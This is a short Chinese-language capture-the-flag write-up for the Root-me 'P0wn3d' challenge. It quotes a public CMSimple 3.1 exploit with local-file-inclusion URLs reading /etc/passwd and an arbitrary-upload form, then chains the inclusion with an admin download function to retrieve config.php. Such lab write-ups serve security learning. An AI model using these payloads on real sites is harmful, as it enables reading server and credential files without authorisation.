P0wn3d - Root-me

---

前言

提示：本人只是网络安全爱好者，并非专业人士，文中可能会出现表达错误或者其他问题，还望各位理解。

一、P0wn3d

二、信息收集

根据题目描述和源码的分析我们可以发现这是CMSimple 3.0版本。
通过Google搜索CMS漏洞，发现该CMS存在LFI。
可以在exploit-db下载到漏洞利用代码，但是目标机器是不允许写入文件或者说不允许上传文件。

<pre>
#
# CMSimple 3.1 Local File Inclusion / Arbitrary File Upload
# download: http://www.cmsimple.org/?Downloads
# dork: "Powered by CMSimple"
#
# author: irk4z@yahoo.pl
# homepage: http://irk4z.wordpress.com
#


Local File Inclusion :

	http://[host]/[path]/index.php?sl=[file]%00
	http://[host]/[path]/index.php?sl=../../../../../../../etc/passwd%00


Arbitrary File Upload (into http://[host]/[path]/downloads/ ):
</pre>
<form method="POST" enctype="multipart/form-data" action="http://[host]/[path]/index.php?sl=../adm&adm=1" >
<input type="file" class="file" name="downloads" size="30">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="function" value="downloads">
<input type="submit" class="submit" value="Upload">
</form>

# milw0rm.com [2008-05-31]
            

以上exploit来自CMSimple 3.1 - Local File Inclusion / Arbitrary File Upload

三.代码审计&漏洞利用

代码审计

在本机搭建环境进行测试的时候，可以发现后台有个功能可以下载文件：

转到源代码看一下，试试能不能读取其他文件例如Config.php啥的。

漏洞利用

通过前面搜集到的LFI漏洞再配合我们找到的文件下载的接口，尝试构造一下链接，测试一下，看看我们的理论能不能成立。

http://xxxx.xxx/index.php?sl=../adm&adm=1&file=config&action=download

成功下载config.php文件

总结

本人第一次写文章，可能表达的不是很清楚，但还是希望能帮助到一些朋友，顺便记录下我的网络安全之路